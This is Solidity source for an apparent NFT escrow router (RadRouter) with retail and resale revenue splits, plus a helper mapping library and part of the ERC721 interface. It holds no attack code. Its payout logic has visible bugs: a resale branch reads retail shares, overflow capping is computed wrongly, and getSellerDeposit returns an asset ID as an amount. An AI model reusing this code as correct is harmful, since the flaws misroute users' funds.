function setAssetMinPrice(address _ledger, uint256 _assetId, uint256 _minPrice) external returns (bool success);
/**
* @dev Sets a stakeholder's revenue share for an asset ledger. If `retail` is true, sets retail revenue splits; otherwise sets resale revenue splits.
* Also sets the minimum price for asset `_assetId`
* See {setAssetMinPrice | setRevenueSplits}
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
* - `_stakeholder` cannot be the zero address.
* - `_share` must be > 0 and <= 100
* - Revenue cannot be split more than 5 ways
* - `_owner` must first approve this contract as an operator for ledger `_ledger`
* - `_minPrice` is in wei
*
* Emits a {RetailRevenueSplitChange|ResaleRevenueSplitChange} event.
*/
function setAssetMinPriceAndRevenueSplits(address _ledger, address payable[] calldata _stakeholders, uint256[] calldata _shares, bool _retail, uint256 _assetId, uint256 _minPrice) external returns (bool success);
/**
* @dev Returns the minium price of asset `_assetId` in ledger `_ledger`
*
* See {setAssetMinPrice}
*/
function getAssetMinPrice(address _ledger, uint256 _assetId) external view returns (uint256 minPrice);
/**
* @dev Transfers ownership of asset `_assetId` to this contract for escrow.
* If buyer has already escrowed, triggers escrow fulfillment.
* See {fulfill}
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
* - `_owner` must first approve this contract as an operator for ledger `_ledger`
*
* Emits a {SellerEscrowChange} event.
*/
function sellerEscrowDeposit(address _ledger, uint256 _assetId) external returns (bool success);
/**
* @dev Transfers ownership of asset `_assetId` to this contract for escrow.
* If buyer has already escrowed, triggers escrow fulfillment.
* See {fulfill}
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
* - `_owner` must first approve this contract as an operator for ledger `_ledger`
*
* Emits a {SellerEscrowChange} event.
*/
function sellerEscrowDepositWithCreatorShare(address _ledger, uint256 _assetId, uint256 _creatorResaleShare) external returns (bool success);
function sellerEscrowDepositWithCreatorShareBatch(address _ledger, uint256[] calldata _assetIds, uint256 _creatorResaleShare) external returns (bool success);
/**
* @dev Transfers ownership of asset `_assetId` to this contract for escrow.
* If buyer has already escrowed, triggers escrow fulfillment.
* See {fulfill}
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
* - `_owner` must first approve this contract as an operator for ledger `_ledger`
*
* Emits a {SellerEscrowChange} event.
*/
function sellerEscrowDepositWithCreatorShareWithMinPrice(address _ledger, uint256 _assetId, uint256 _creatorResaleShare, uint256 _minPrice) external returns (bool success);
function sellerEscrowDepositWithCreatorShareWithMinPriceBatch(address _ledger, uint256[] calldata _assetIds, uint256 _creatorResaleShare, uint256 _minPrice) external returns (bool success);
/**
* @dev Transfers ownership of asset `_assetId` to this contract for escrow.
* Sets asset min price to `_minPrice` if `_setMinPrice` is true. Reverts if `_setMinPrice` is true and buyer has already escrowed. Otherwise, if buyer has already escrowed, triggers escrow fulfillment.
* See {fulfill | setAssetMinPrice}
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
* - `_owner` must first approve this contract as an operator for ledger `_ledger`
* - `_minPrice` is in wei
*
* Emits a {SellerEscrowChange} event.
*/
function sellerEscrowDeposit(address _ledger, uint256 _assetId, bool _setMinPrice, uint256 _minPrice) external returns (bool success);
/**
* @dev Transfers ownership of all assets `_assetIds` to this contract for escrow.
* If any buyers have already escrowed, triggers escrow fulfillment for the respective asset.
* See {fulfill}
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
* - `_owner` must first approve this contract as an operator for ledger `_ledger`
*
* Emits a {SellerEscrowChange} event.
*/
function sellerEscrowDepositBatch(address _ledger, uint256[] calldata _assetIds) external returns (bool success);
/**
* @dev Transfers ownership of all assets `_assetIds` to this contract for escrow.
* Sets each asset min price to `_minPrice` if `_setMinPrice` is true. Reverts if `_setMinPrice` is true and buyer has already escrowed. Otherwise, if any buyers have already escrowed, triggers escrow fulfillment for the respective asset.
* See {fulfill | setAssetMinPrice}
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
* - `_owner` must first approve this contract as an operator for ledger `_ledger`
* - `_minPrice` is in wei
*
* Emits a {SellerEscrowChange} event.
*/
function sellerEscrowDepositBatch(address _ledger, uint256[] calldata _assetIds, bool _setMinPrice, uint256 _minPrice) external returns (bool success);
/**
* @dev Transfers ownership of asset `_assetId` from this contract for escrow back to seller.
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
*
* Emits a {SellerEscrowChange} event.
*/
function sellerEscrowWithdraw(address _ledger, uint256 _assetId) external returns (bool success);
/**
* @dev Accepts buyer's `msg.sender` funds into escrow for asset `_assetId` in ledger `_ledger`.
* If seller has already escrowed, triggers escrow fulfillment.
* See {fulfill}
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
* - `msg.value` must be at least the seller's listed price
* - `_assetId` in `ledger` cannot already have an escrowed buyer
*
* Emits a {BuyerEscrowChange} event.
*/
function buyerEscrowDeposit(address _ledger, uint256 _assetId) external payable returns (bool success);
/**
* @dev Returns buyer's `msg.sender` funds back from escrow for asset `_assetId` in ledger `_ledger`.
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
* - `msg.sender` must be the escrowed buyer for asset `_assetId` in ledger `_ledger`, asset owner, or Rad operator
*
* Emits a {BuyerEscrowChange} event.
*/
function buyerEscrowWithdraw(address _ledger, uint256 _assetId) external returns (bool success);
/**
* @dev Returns the wallet address of the seller of asset `_assetId`
*
* See {sellerEscrowDeposit}
*/
function getSellerWallet(address _ledger, uint256 _assetId) external view returns (address wallet);
/**
* @dev Returns the wallet address of the buyer of asset `_assetId`
*
* See {buyerEscrowDeposit}
*/
function getBuyerWallet(address _ledger, uint256 _assetId) external view returns (address wallet);
/**
* @dev Returns the escrowed `_assetId` by the seller of asset `_assetId`
*
* See {sellerEscrowDeposit}
*/
function getSellerDeposit(address _ledger, uint256 _assetId) external view returns (uint256 amount);
/**
* @dev Returns the escrowed amount by the buyer of asset `_assetId`
*
* See {buyerEscrowDeposit}
*/
function getBuyerDeposit(address _ledger, uint256 _assetId) external view returns (uint256 amount);
/**
* @dev Returns the wallet address of the creator of asset `_assetId`
*
* See {sellerEscrowDeposit}
*/
function getCreatorWallet(address _ledger, uint256 _assetId) external view returns (address wallet);
/**
* @dev Returns the amount of the creator's share of asset `_assetId`
*
* See {sellerEscrowDeposit}
*/
function getCreatorShare(address _ledger, uint256 _assetId) external view returns (uint256 amount);
/**
* @dev Returns true if an asset has been sold for retail and will be considered resale moving forward
*/
function getAssetIsResale(address _ledger, uint256 _assetId) external view returns (bool resale);
/**
* @dev Returns an array of all retailed asset IDs for ledger `_ledger`
*/
function getRetailedAssets(address _ledger) external view returns (uint256[] memory assets);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
import './IRadRouter.sol';
import './RevenueSplitMapping.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol';
contract RadRouter is IRadRouter, ERC721Holder {
using RevenueSplitMapping for RevMap;
struct Ledger {
RevMap RetailSplits;
RevMap ResaleSplits;
mapping (uint256 => Asset) Assets;
uint256[] retailedAssets;
}
struct Asset {
address owner; // does not change on escrow, only through sale
uint256 minPrice;
bool resale;
Creator creator;
Buyer buyer;
}
struct Creator {
address wallet;
uint256 share;
}
struct Buyer {
address wallet;
uint256 amountEscrowed;
}
modifier onlyBy(address _account)
{
require(
msg.sender == _account,
'Sender not authorized'
);
_;
}
address public administrator_; // Rad administrator account
mapping(address => Ledger) private Ledgers;
/**
* @dev Initializes the contract and sets the router administrator `administrator_`
*/
constructor() { administrator_ = msg.sender; }
/**
* @dev See {IRadRouter-setRevenueSplit}.
*/
function setRevenueSplit(address _ledger, address payable _stakeholder, uint256 _share, bool _retail) public onlyBy(administrator_) virtual override returns (bool success) {
require(_ledger != address(0), 'Asset ledger cannot be the zero address');
require(_stakeholder != address(0), 'Stakeholder cannot be the zero address');
require(_share >= 0 && _share <= 100, 'Stakeholder share must be at least 0% and at most 100%');
uint256 total;
if (_retail) {
if (_share == 0) {
Ledgers[_ledger].RetailSplits.remove(_stakeholder);
emit RetailRevenueSplitChange(_ledger, _stakeholder, _share, Ledgers[_ledger].RetailSplits.size(), Ledgers[_ledger].RetailSplits.total);
return true;
}
if (Ledgers[_ledger].RetailSplits.contains(_stakeholder)) {
require(Ledgers[_ledger].RetailSplits.size() <= 5, 'Cannot split revenue more than 5 ways.');
total = Ledgers[_ledger].RetailSplits.total - Ledgers[_ledger].RetailSplits.get(_stakeholder);
} else {
require(Ledgers[_ledger].RetailSplits.size() < 5, 'Cannot split revenue more than 5 ways.');
total = Ledgers[_ledger].RetailSplits.total;
}
} else {
if (_share == 0) {
Ledgers[_ledger].ResaleSplits.remove(_stakeholder);
emit ResaleRevenueSplitChange(_ledger, _stakeholder, _share, Ledgers[_ledger].ResaleSplits.size(), Ledgers[_ledger].ResaleSplits.total);
return true;
}
if (Ledgers[_ledger].ResaleSplits.contains(_stakeholder)) {
require(Ledgers[_ledger].ResaleSplits.size() <= 5, 'Cannot split revenue more than 5 ways.');
total = Ledgers[_ledger].ResaleSplits.total - Ledgers[_ledger].RetailSplits.get(_stakeholder);
} else {
require(Ledgers[_ledger].ResaleSplits.size() < 5, 'Cannot split revenue more than 5 ways.');
total = Ledgers[_ledger].ResaleSplits.total;
}
}
require(_share + total <= 100, 'Total revenue split cannot exceed 100%');
if (_retail) {
Ledgers[_ledger].RetailSplits.set(_stakeholder, _share);
emit RetailRevenueSplitChange(_ledger, _stakeholder, _share, Ledgers[_ledger].RetailSplits.size(), Ledgers[_ledger].RetailSplits.total);
} else {
Ledgers[_ledger].ResaleSplits.set(_stakeholder, _share);
emit ResaleRevenueSplitChange(_ledger, _stakeholder, _share, Ledgers[_ledger].ResaleSplits.size(), Ledgers[_ledger].ResaleSplits.total);
}
success = true;
}
/**
* @dev See {IRadRouter-getRevenueSplit}.
*/
function getRevenueSplit(address _ledger, address payable _stakeholder, bool _retail) external view virtual override returns (uint256 share) {
if (_retail) {
share = Ledgers[_ledger].RetailSplits.get(_stakeholder);
} else {
share = Ledgers[_ledger].ResaleSplits.get(_stakeholder);
}
}
/**
* @dev See {IRadRouter-setRevenueSplits}.
*/
function setRevenueSplits(address _ledger, address payable[] calldata _stakeholders, uint256[] calldata _shares, bool _retail) public virtual override returns (bool success) {
require(_stakeholders.length == _shares.length, 'Stakeholders and shares must have equal length');
require(_stakeholders.length <= 5, 'Cannot split revenue more than 5 ways.');
if (_retail) {
Ledgers[_ledger].RetailSplits.clear();
} else {
Ledgers[_ledger].ResaleSplits.clear();
}
for (uint256 i = 0; i < _stakeholders.length; i++) {
setRevenueSplit(_ledger, _stakeholders[i], _shares[i], _retail);
}
success = true;
}
function getRevenueStakeholders(address _ledger, bool _retail) external view virtual override returns (address[] memory stakeholders) {
if (_retail) {
stakeholders = Ledgers[_ledger].RetailSplits.keys;
} else {
stakeholders = Ledgers[_ledger].ResaleSplits.keys;
}
}
/**
* @dev See {IRadRouter-setAssetMinPrice}.
*/
function setAssetMinPrice(address _ledger, uint256 _assetId, uint256 _minPrice) public virtual override returns (bool success) {
require(_ledger != address(0), 'Asset ledger cannot be the zero address');
IERC721 ledger = IERC721(_ledger);
address owner = ledger.ownerOf(_assetId);
require(msg.sender == owner || msg.sender == administrator_, 'Only the asset owner or Rad administrator can set the asset minimum price');
require(owner == address(this) || ledger.isApprovedForAll(owner, address(this)) || ledger.getApproved(_assetId) == address(this), 'Must approve Rad Router as an operator before setting minimum price.');
Ledgers[_ledger].Assets[_assetId].owner = owner;
Ledgers[_ledger].Assets[_assetId].minPrice = _minPrice;
emit AssetMinPriceChange(_ledger, _assetId, _minPrice);
success = true;
}
/**
* @dev See {IRadRouter-getAssetMinPrice}.
*/
function getAssetMinPrice(address _ledger, uint256 _assetId) external view virtual override returns (uint256 minPrice) {
minPrice = Ledgers[_ledger].Assets[_assetId].minPrice;
}
/**
* @dev See {IRadRouter-setAssetMinPriceAndRevenueSplits}.
*/
function setAssetMinPriceAndRevenueSplits(address _ledger, address payable[] calldata _stakeholders, uint256[] calldata _shares, bool _retail, uint256 _assetId, uint256 _minPrice) public virtual override returns (bool success) {
success = setRevenueSplits(_ledger, _stakeholders, _shares, _retail) && setAssetMinPrice(_ledger, _assetId, _minPrice);
}
/**
* @dev See {IRadRouter-sellerEscrowDeposit}.
*/
function sellerEscrowDeposit(address _ledger, uint256 _assetId) public virtual override returns (bool success) {
success = sellerEscrowDeposit(_ledger, _assetId, false, 0);
}
/**
* @dev See {IRadRouter-sellerEscrowDepositWithCreatorShare}.
*/
function sellerEscrowDepositWithCreatorShare(address _ledger, uint256 _assetId, uint256 _creatorResaleShare) public virtual override returns (bool success) {
require(_ledger != address(0), 'Asset ledger cannot be the zero address');
require(_creatorResaleShare >= 0 && _creatorResaleShare <= 100, 'Creator share must be at least 0% and at most 100%');
IERC721 ledger = IERC721(_ledger);
address owner = ledger.ownerOf(_assetId);
require(
msg.sender == owner ||
msg.sender == administrator_,
'Only the asset owner or Rad administrator can change asset ownership'
);
require(
ledger.isApprovedForAll(owner, address(this)) ||
ledger.getApproved(_assetId) == address(this),
'Must set Rad Router as an operator for all assets before depositing to escrow.'
);
if (
Ledgers[_ledger].Assets[_assetId].creator.wallet == address(0) ||
Ledgers[_ledger].Assets[_assetId].creator.wallet == owner ||
Ledgers[_ledger].Assets[_assetId].owner == owner
) {
if (Ledgers[_ledger].Assets[_assetId].creator.wallet == address(0)) {
Ledgers[_ledger].Assets[_assetId].creator.wallet = owner;
}
require(
Ledgers[_ledger].Assets[_assetId].creator.wallet == owner ||
Ledgers[_ledger].Assets[_assetId].creator.share == 0 ||
Ledgers[_ledger].Assets[_assetId].owner == owner,
'Cannot set creator share.'
);
uint256 total = Ledgers[_ledger].Assets[_assetId].creator.share;
address[] storage stakeholders = Ledgers[_ledger].ResaleSplits.keys;
for (uint256 i = 0; i < stakeholders.length; i++) {
total += Ledgers[_ledger].ResaleSplits.get(stakeholders[i]);
}
require(total <= 100, 'Creator share cannot exceed total ledger stakeholder when it is 100.');
Ledgers[_ledger].Assets[_assetId].creator.share = _creatorResaleShare;
}
success = sellerEscrowDeposit(_ledger, _assetId, false, 0);
}
/**
* @dev See {IRadRouter-sellerEscrowDepositWithCreatorShareBatch}.
*/
function sellerEscrowDepositWithCreatorShareBatch(address _ledger, uint256[] calldata _assetIds, uint256 _creatorResaleShare) public virtual override returns (bool success) {
success = false;
for (uint256 i = 0; i < _assetIds.length; i++) {
if (!sellerEscrowDepositWithCreatorShare(_ledger, _assetIds[i], _creatorResaleShare)) {
success = false;
break;
} else {
success = true;
}
}
}
/**
* @dev See {IRadRouter-sellerEscrowDepositWithCreatorShareWithMinPrice}.
*/
function sellerEscrowDepositWithCreatorShareWithMinPrice(address _ledger, uint256 _assetId, uint256 _creatorResaleShare, uint256 _minPrice) public virtual override returns (bool success) {
require(_ledger != address(0), 'Asset ledger cannot be the zero address');
require(_creatorResaleShare >= 0 && _creatorResaleShare <= 100, 'Creator share must be at least 0% and at most 100%');
IERC721 ledger = IERC721(_ledger);
address owner = ledger.ownerOf(_assetId);
require(
msg.sender == owner ||
msg.sender == administrator_,
'Only the asset owner or Rad administrator can change asset ownership'
);
require(
ledger.isApprovedForAll(owner, address(this)) ||
ledger.getApproved(_assetId) == address(this),
'Must set Rad Router as an operator for all assets before depositing to escrow.'
);
if (
Ledgers[_ledger].Assets[_assetId].creator.wallet == address(0) ||
Ledgers[_ledger].Assets[_assetId].creator.wallet == owner ||
Ledgers[_ledger].Assets[_assetId].owner == owner
) {
if (Ledgers[_ledger].Assets[_assetId].creator.wallet == address(0)) {
Ledgers[_ledger].Assets[_assetId].creator.wallet = owner;
}
require(
Ledgers[_ledger].Assets[_assetId].creator.wallet == owner ||
Ledgers[_ledger].Assets[_assetId].creator.share == 0 ||
Ledgers[_ledger].Assets[_assetId].owner == owner,
'Cannot set creator share.'
);
uint256 total = Ledgers[_ledger].Assets[_assetId].creator.share;
address[] storage stakeholders = Ledgers[_ledger].ResaleSplits.keys;
for (uint256 i = 0; i < stakeholders.length; i++) {
total += Ledgers[_ledger].ResaleSplits.get(stakeholders[i]);
}
require(total <= 100, 'Creator share cannot exceed total ledger stakeholder when it is 100.');
Ledgers[_ledger].Assets[_assetId].creator.share = _creatorResaleShare;
}
success = sellerEscrowDeposit(_ledger, _assetId, true, _minPrice);
}
/**
* @dev See {IRadRouter-sellerEscrowDepositWithCreatorShareWithMinPriceBatch}.
*/
function sellerEscrowDepositWithCreatorShareWithMinPriceBatch(address _ledger, uint256[] calldata _assetIds, uint256 _creatorResaleShare, uint256 _minPrice) public virtual override returns (bool success) {
success = false;
for (uint256 i = 0; i < _assetIds.length; i++) {
if (!sellerEscrowDepositWithCreatorShareWithMinPrice(_ledger, _assetIds[i], _creatorResaleShare, _minPrice)) {
success = false;
break;
} else {
success = true;
}
}
}
/**
* @dev See {IRadRouter-sellerEscrowDeposit}.
*/
function sellerEscrowDeposit(address _ledger, uint256 _assetId, bool _setMinPrice, uint256 _minPrice) public virtual override returns (bool success) {
require(_ledger != address(0), 'Asset ledger cannot be the zero address');
IERC721 ledger = IERC721(_ledger);
address owner = ledger.ownerOf(_assetId);
require(msg.sender == owner || msg.sender == administrator_, 'Only the asset owner or Rad administrator can change asset ownership');
require(ledger.isApprovedForAll(owner, address(this)) || ledger.getApproved(_assetId) == address(this), 'Must set Rad Router as an operator for all assets before depositing to escrow');
if (_setMinPrice) {
setAssetMinPrice(_ledger, _assetId, _minPrice);
}
Ledgers[_ledger].Assets[_assetId].owner = owner;
ledger.safeTransferFrom(owner, address(this), _assetId);
if (Ledgers[_ledger].Assets[_assetId].buyer.wallet != address(0)) {
_fulfill(_ledger, _assetId);
}
emit SellerEscrowChange(_ledger, _assetId, owner, true);
success = true;
}
/**
* @dev See {IRadRouter-sellerEscrowDepositBatch}.
*/
function sellerEscrowDepositBatch(address _ledger, uint256[] calldata _assetIds) external virtual override returns (bool success) {
success = sellerEscrowDepositBatch(_ledger, _assetIds, false, 0);
}
/**
* @dev See {IRadRouter-sellerEscrowDepositBatch}.
*/
function sellerEscrowDepositBatch(address _ledger, uint256[] calldata _assetIds, bool _setMinPrice, uint256 _minPrice) public virtual override returns (bool success) {
for (uint256 i = 0; i < _assetIds.length; i++) {
sellerEscrowDeposit(_ledger, _assetIds[i], _setMinPrice, _minPrice);
}
success = true;
}
/**
* @dev See {IRadRouter-sellerEscrowWithdraw}.
*/
function sellerEscrowWithdraw(address _ledger, uint256 _assetId) external virtual override returns (bool success) {
require(_ledger != address(0), 'Asset ledger cannot be the zero address');
IERC721 ledger = IERC721(_ledger);
address owner = Ledgers[_ledger].Assets[_assetId].owner;
require(msg.sender == owner || msg.sender == administrator_, 'Only the asset owner or Rad administrator can change asset ownership');
require(ledger.isApprovedForAll(owner, address(this)), 'Must set Rad Router as an operator for all assets before depositing to escrow');
Ledgers[_ledger].Assets[_assetId].creator.wallet = address(0);
Ledgers[_ledger].Assets[_assetId].creator.share = 0;
ledger.safeTransferFrom(address(this), owner, _assetId);
emit SellerEscrowChange(_ledger, _assetId, owner, false);
success = true;
}
/**
* @dev See {IRadRouter-buyerEscrowDeposit}.
*/
function buyerEscrowDeposit(address _ledger, uint256 _assetId) external payable virtual override returns (bool success) {
require(_ledger != address(0), 'Asset ledger cannot be the zero address');
require(
Ledgers[_ledger].Assets[_assetId].buyer.wallet == address(0) ||
Ledgers[_ledger].Assets[_assetId].buyer.wallet == msg.sender,
'Another buyer has already escrowed'
);
require(
Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed + msg.value >= Ledgers[_ledger].Assets[_assetId].minPrice,
'Buyer did not send enough ETH'
);
Ledgers[_ledger].Assets[_assetId].buyer.wallet = msg.sender;
Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed += msg.value;
IERC721 ledger = IERC721(_ledger);
if (ledger.ownerOf(_assetId) == address(this)) {
_fulfill(_ledger, _assetId);
}
emit BuyerEscrowChange(_ledger, _assetId, msg.sender, true);
success = true;
}
/**
* @dev See {IRadRouter-buyerEscrowWithdraw}.
*/
function buyerEscrowWithdraw(address _ledger, uint256 _assetId) external virtual override returns (bool success) {
require(_ledger != address(0), 'Asset ledger cannot be the zero address');
require(
msg.sender == Ledgers[_ledger].Assets[_assetId].buyer.wallet ||
msg.sender == Ledgers[_ledger].Assets[_assetId].owner ||
msg.sender == administrator_,
'msg.sender must be the buyer, seller, or Rad operator'
);
payable(Ledgers[_ledger].Assets[_assetId].buyer.wallet).transfer(Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed);
Ledgers[_ledger].Assets[_assetId].buyer.wallet = address(0);
Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed = 0;
emit BuyerEscrowChange(_ledger, _assetId, msg.sender, false);
success = true;
}
/**
* @dev See {IRadRouter-getSellerWallet}.
*/
function getSellerWallet(address _ledger, uint256 _assetId) public view override returns (address wallet) {
if (Ledgers[_ledger].Assets[_assetId].owner == address(0)) {
require(_ledger != address(0), 'Asset ledger cannot be the zero address');
IERC721 ledger = IERC721(_ledger);
wallet = ledger.ownerOf(_assetId);
} else {
wallet = Ledgers[_ledger].Assets[_assetId].owner;
}
}
/**
* @dev See {IRadRouter-getSellerWallet}.
*/
function getSellerDeposit(address _ledger, uint256 _assetId) public view override returns (uint256 amount) {
require(_ledger != address(0), 'Asset ledger cannot be the zero address');
IERC721 ledger = IERC721(_ledger);
address owner = ledger.ownerOf(_assetId);
if (owner == address(this)) {
return _assetId;
}
return 0;
}
/**
* @dev See {IRadRouter-getBuyerWallet}.
*/
function getBuyerWallet(address _ledger, uint256 _assetId) public view override returns (address wallet) {
wallet = Ledgers[_ledger].Assets[_assetId].buyer.wallet;
}
/**
* @dev See {IRadRouter-getBuyerDeposit}.
*/
function getBuyerDeposit(address _ledger, uint256 _assetId) public view override returns (uint256 amount) {
amount = Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed;
}
/**
* @dev See {IRadRouter-getAssetIsResale}.
*/
function getAssetIsResale(address _ledger, uint256 _assetId) public view override returns (bool resale) {
resale = Ledgers[_ledger].Assets[_assetId].resale;
}
/**
* @dev See {IRadRouter-getRetailedAssets}.
*/
function getRetailedAssets(address _ledger) public view override returns (uint256[] memory assets) {
assets = Ledgers[_ledger].retailedAssets;
}
/**
* @dev See {IRadRouter-getCreatorWallet}.
*/
function getCreatorWallet(address _ledger, uint256 _assetId) public view override returns (address wallet) {
wallet = Ledgers[_ledger].Assets[_assetId].creator.wallet;
}
/**
* @dev See {IRadRouter-getCreatorShare}.
*/
function getCreatorShare(address _ledger, uint256 _assetId) public view override returns (uint256 amount) {
amount = Ledgers[_ledger].Assets[_assetId].creator.share;
}
/**
* @dev Fulfills asset sale transaction and pays out all revenue split stakeholders
*
* Requirements:
*
* - `_ledger` cannot be the zero address.
* - `_assetId` owner must be this contract
* - `_assetId` buyer must not be the zero address
*
* Emits a {EscrowFulfill} event.
*/
function _fulfill(address _ledger, uint256 _assetId) internal virtual returns (bool success) {
IERC721 ledger = IERC721(_ledger);
require(
ledger.ownerOf(_assetId) == address(this),
'Seller has not escrowed'
);
require(
Ledgers[_ledger].Assets[_assetId].buyer.wallet != address(0),
'Buyer has not escrowed'
);
require(
Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed >= Ledgers[_ledger].Assets[_assetId].minPrice,
'Buyer escrow amount is less than asset min price'
);
ledger.safeTransferFrom(
address(this),
Ledgers[_ledger].Assets[_assetId].buyer.wallet,
_assetId
);
if (!Ledgers[_ledger].Assets[_assetId].resale) {
if (Ledgers[_ledger].RetailSplits.size() > 0) {
uint256 totalShareSplit = 0;
for (uint256 i = 0; i < Ledgers[_ledger].RetailSplits.size(); i++) {
address stakeholder = Ledgers[_ledger].RetailSplits.getKeyAtIndex(i);
uint256 share = Ledgers[_ledger].RetailSplits.get(stakeholder);
if (totalShareSplit + share > 100) {
share = totalShareSplit + share - 100;
}
uint256 payout = Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed * share / 100;
payable(stakeholder).transfer(payout);
emit StakeholderPayout(_ledger, _assetId, stakeholder, payout, share, true);
totalShareSplit += share;
// ignore other share stake holders if total max split has been reached
if (totalShareSplit >= 100) {
break;
}
}
if (totalShareSplit < 100) {
uint256 remainingShare = 100 - totalShareSplit;
uint256 payout = Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed * remainingShare / 100;
payable(Ledgers[_ledger].Assets[_assetId].owner).transfer(payout);
emit StakeholderPayout(_ledger, _assetId, Ledgers[_ledger].Assets[_assetId].owner, payout, remainingShare, true);
}
} else { // if no revenue split is defined, send all to asset owner
uint256 payout = Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed;
payable(Ledgers[_ledger].Assets[_assetId].owner).transfer(payout);
emit StakeholderPayout(_ledger, _assetId, Ledgers[_ledger].Assets[_assetId].owner, payout, 100, true);
}
Ledgers[_ledger].Assets[_assetId].resale = true;
Ledgers[_ledger].retailedAssets.push(_assetId);
} else {
uint256 totalShareSplit = 0;
if (
Ledgers[_ledger].Assets[_assetId].creator.share > 0 &&
Ledgers[_ledger].Assets[_assetId].creator.wallet != address(0)
) {
uint256 creatorPayout = Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed * Ledgers[_ledger].Assets[_assetId].creator.share / 100;
if (creatorPayout > 0) {
totalShareSplit = Ledgers[_ledger].Assets[_assetId].creator.share;
payable(Ledgers[_ledger].Assets[_assetId].creator.wallet).transfer(creatorPayout);
}
emit StakeholderPayout(
_ledger,
_assetId,
Ledgers[_ledger].Assets[_assetId].creator.wallet,
creatorPayout,
Ledgers[_ledger].Assets[_assetId].creator.share,
false);
}
if (Ledgers[_ledger].ResaleSplits.size() > 0) {
for (uint256 i = 0; i < Ledgers[_ledger].ResaleSplits.size(); i++) {
address stakeholder = Ledgers[_ledger].ResaleSplits.getKeyAtIndex(i);
uint256 share = Ledgers[_ledger].ResaleSplits.get(stakeholder) - (Ledgers[_ledger].Assets[_assetId].creator.share / 100);
if (totalShareSplit + share > 100) {
share = totalShareSplit + share - 100;
}
uint256 payout = Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed * share / 100;
payable(stakeholder).transfer(payout);
emit StakeholderPayout(_ledger, _assetId, stakeholder, payout, share, false);
totalShareSplit += share;
// ignore other share stake holders if total max split has been reached
if (totalShareSplit >= 100) {
break;
}
}
if (totalShareSplit < 100) {
uint256 remainingShare = 100 - totalShareSplit;
uint256 payout = Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed * remainingShare / 100;
payable(Ledgers[_ledger].Assets[_assetId].owner).transfer(payout);
emit StakeholderPayout(_ledger, _assetId, Ledgers[_ledger].Assets[_assetId].owner, payout, remainingShare, false);
}
} else { // if no revenue split is defined, send all to asset owner
uint256 remainingShare = 100 - totalShareSplit;
uint256 payout = Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed * remainingShare / 100;
payable(Ledgers[_ledger].Assets[_assetId].owner).transfer(payout);
emit StakeholderPayout(_ledger, _assetId, Ledgers[_ledger].Assets[_assetId].owner, payout, remainingShare, false);
}
}
emit EscrowFulfill(
_ledger,
_assetId,
Ledgers[_ledger].Assets[_assetId].owner,
Ledgers[_ledger].Assets[_assetId].buyer.wallet,
Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed
);
Ledgers[_ledger].Assets[_assetId].owner = Ledgers[_ledger].Assets[_assetId].buyer.wallet;
Ledgers[_ledger].Assets[_assetId].minPrice = 0;
Ledgers[_ledger].Assets[_assetId].buyer.wallet = address(0);
Ledgers[_ledger].Assets[_assetId].buyer.amountEscrowed = 0;
success = true;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity >=0.6.8 <0.9.0;
struct RevMap {
address[] keys;
uint256 total;
mapping(address => IndexValue) values;
}
struct IndexValue {
uint256 value;
uint256 indexOf;
bool inserted;
}
// https://solidity-by-example.org/app/iterable-mapping/
library RevenueSplitMapping {
function get(RevMap storage map, address key) external view returns (uint256) {
return map.values[key].value;
}
function getKeyAtIndex(RevMap storage map, uint256 index) external view returns (address) {
return map.keys[index];
}
function size(RevMap storage map) external view returns (uint256) {
return map.keys.length;
}
function set(RevMap storage map, address key, uint256 val) external {
if (map.values[key].inserted) {
map.total-=map.values[key].value;
map.values[key].value = val;
map.total+=val;
} else {
map.values[key].inserted = true;
map.values[key].value = val;
map.total+=val;
map.values[key].indexOf = map.keys.length;
map.keys.push(key);
}
}
function remove(RevMap storage map, address key) external {
if (!map.values[key].inserted) {
return;
}
map.total-=map.values[key].value;
uint256 index = map.values[key].indexOf;
uint256 lastIndex = map.keys.length - 1;
address lastKey = map.keys[lastIndex];
map.values[lastKey].indexOf = index;
delete map.values[key];
map.keys[index] = lastKey;
map.keys.pop();
}
function contains(RevMap storage map, address key) external view returns(bool) {
return map.values[key].inserted;
}
function clear(RevMap storage map) external {
for (uint256 i = 0; i < map.keys.length; i++) {
delete map.values[map.keys[i]];
}
delete map.keys;
map.total = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
